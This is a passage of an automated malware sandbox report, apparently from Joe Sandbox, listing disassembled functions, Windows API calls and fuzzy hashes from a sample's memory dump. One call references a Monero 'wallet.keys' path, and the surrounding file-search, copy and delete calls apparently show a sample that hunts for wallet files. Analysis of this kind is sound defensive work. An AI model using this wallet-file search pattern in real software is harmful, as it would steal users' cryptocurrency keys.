Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 1507a2a87ea1ceabfe2a9de0a8013199b8d061d2499b8b4c3f28407ffa57d922
Instruction ID: c2f37c2a21a1f6ec567132cada2bf5ed235d7d8c20511c844dd028d5575ed0df
Opcode Fuzzy Hash: 1507a2a87ea1ceabfe2a9de0a8013199b8d061d2499b8b4c3f28407ffa57d922
Instruction Fuzzy Hash: CC910371950118EBEF05FBA0DD9ADEE7378AF54300F40416AF516A6091EF3C6A09CBB2

Function 0077B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

lstrlen.KERNEL32(00000000), ref: 0077B42E
lstrlen.KERNEL32(00000000), ref: 0077B442

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 8028602f6be62bdc7530853cf1ad78f48ffa6545b83b57877a23cf0f7e4cccdf
Instruction ID: a9bf8d73e4f76650c37ca5038d0b36a8b3040910f73e8b921e0524a6103af77e
Opcode Fuzzy Hash: 8028602f6be62bdc7530853cf1ad78f48ffa6545b83b57877a23cf0f7e4cccdf
Instruction Fuzzy Hash: F0710E71950118EBEF05FBA0DD9ADEE7378AF54300F40456AF506A6191EF3C6A09CBA2

Function 00784BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00788DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

lstrcat.KERNEL32(?,00000000), ref: 00784BEA
lstrcat.KERNEL32(?,014BD6F8), ref: 00784C08

Part of subcall function 00784910: wsprintfA.USER32 ref: 0078492C
Part of subcall function 00784910: FindFirstFileA.KERNEL32(?,?), ref: 00784943

Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,00790FDC), ref: 00784971
Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,00790FE0), ref: 00784987
Part of subcall function 00784910: FindNextFileA.KERNEL32(000000FF,?), ref: 00784B7D
Part of subcall function 00784910: FindClose.KERNEL32(000000FF), ref: 00784B92

Part of subcall function 00784910: wsprintfA.USER32 ref: 007849B0
Part of subcall function 00784910: StrCmpCA.SHLWAPI(?,007908D2), ref: 007849C5
Part of subcall function 00784910: wsprintfA.USER32 ref: 007849E2
Part of subcall function 00784910: PathMatchSpecA.SHLWAPI(?,?), ref: 00784A1E
Part of subcall function 00784910: lstrcat.KERNEL32(?,014BE4C0), ref: 00784A4A
Part of subcall function 00784910: lstrcat.KERNEL32(?,00790FF8), ref: 00784A5C
Part of subcall function 00784910: lstrcat.KERNEL32(?,?), ref: 00784A70
Part of subcall function 00784910: lstrcat.KERNEL32(?,00790FFC), ref: 00784A82
Part of subcall function 00784910: lstrcat.KERNEL32(?,?), ref: 00784A96
Part of subcall function 00784910: CopyFileA.KERNEL32(?,?,00000001), ref: 00784AAC
Part of subcall function 00784910: DeleteFileA.KERNEL32(?), ref: 00784B31

Part of subcall function 00784910: wsprintfA.USER32 ref: 00784A07

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 4fffd18f1abba394f131e382fe0cc0d66c5bc156e48b85d3855f5db382353f07
Instruction ID: 2e2e6a990b07a191e9e8feccf0dd97381126901c30582d41e0ccd20d1a174338
Opcode Fuzzy Hash: 4fffd18f1abba394f131e382fe0cc0d66c5bc156e48b85d3855f5db382353f07
Instruction Fuzzy Hash: 9D41E7B7514104ABCB94FBA4EC46EFE337DA788700F408648B54957186FD796B888BE3

Function 00776660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00776706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00776753

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 123f3de61dd20dbe8e1f64a6ab078965f14896850ca6563a15ed9bab00fcfc33
Instruction ID: dc2cdbf8e8ca4d457ce43eb423554800259592d92d8c7275c5b6d76ae1a75caa
Opcode Fuzzy Hash: 123f3de61dd20dbe8e1f64a6ab078965f14896850ca6563a15ed9bab00fcfc33
Instruction Fuzzy Hash: 8A41A474A00209EFCB44CF98C494BADBBB1FB48354F24C2A9E9599B355D735AA81CF84

Function 00785050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00788DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

lstrcat.KERNEL32(?,00000000), ref: 0078508A
lstrcat.KERNEL32(?,014BDFB8), ref: 007850A8

Part of subcall function 00784910: wsprintfA.USER32 ref: 0078492C
Part of subcall function 00784910: FindFirstFileA.KERNEL32(?,?), ref: 00784943

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: b40beb384be6203e9cad550647f96d9d5c665cb4c4a13f2bfe9afcec84cb2711
Instruction ID: 54aa8dfa58346b25cc5b8aa73a615f538e34f4b64bb22a986531a92ede1db629
Opcode Fuzzy Hash: b40beb384be6203e9cad550647f96d9d5c665cb4c4a13f2bfe9afcec84cb2711
Instruction Fuzzy Hash: 5901D676954208A7CB54FB70DC4AEEE337CAB54300F404284F64952181EE78AAC88BE3

Function 007710A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 007710B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 007710F7

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8a0d9d792a3066fe0bf1b33c7c43d662404f7c907f3ee913dc21fec337910724
Instruction ID: d9f72e4da44ca629acb33cf2d580ba55da82a7235229ef3ac0a3fdf82d8f9a15
Opcode Fuzzy Hash: 8a0d9d792a3066fe0bf1b33c7c43d662404f7c907f3ee913dc21fec337910724
Instruction Fuzzy Hash: 40F0E271681308BBEB149AA8AC89FAAB7ECE705B65F304548F504E3280D571AE00DBA1

Function 00788D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00771B54,?,?,0079564C,?,?,00790E1F), ref: 00788D9F

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2a66173962150315e1b09b19c01b90b313b75db4e9b5ddda53554cb99841837f
Instruction ID: 8ce7c11224a2de0c4a0447b3395f0f41e2036ecdf7e5e66caa9c0c3401bd34e1
Opcode Fuzzy Hash: 2a66173962150315e1b09b19c01b90b313b75db4e9b5ddda53554cb99841837f
Instruction Fuzzy Hash: B4F01570D44208FBDB04FFA4D5496DCBB74EB14320F50829AE866673C0DB386A45DB92

Function 00788DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 9e1302c0367ca742c4289e85a34ec26b9ba68243580706dabd00d1f0a3091ff6
Instruction ID: b61ad13fecf9bee610f6df1ea9273c567b6a0a8b3d7fe92bb4f2d2d8e5c3e61f
Opcode Fuzzy Hash: 9e1302c0367ca742c4289e85a34ec26b9ba68243580706dabd00d1f0a3091ff6
Instruction Fuzzy Hash: D7E0123194034CBBDB91EB50DC96FAD737C9B44B11F004295BA0C5A1C0DE74AB858B91

Function 00771190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

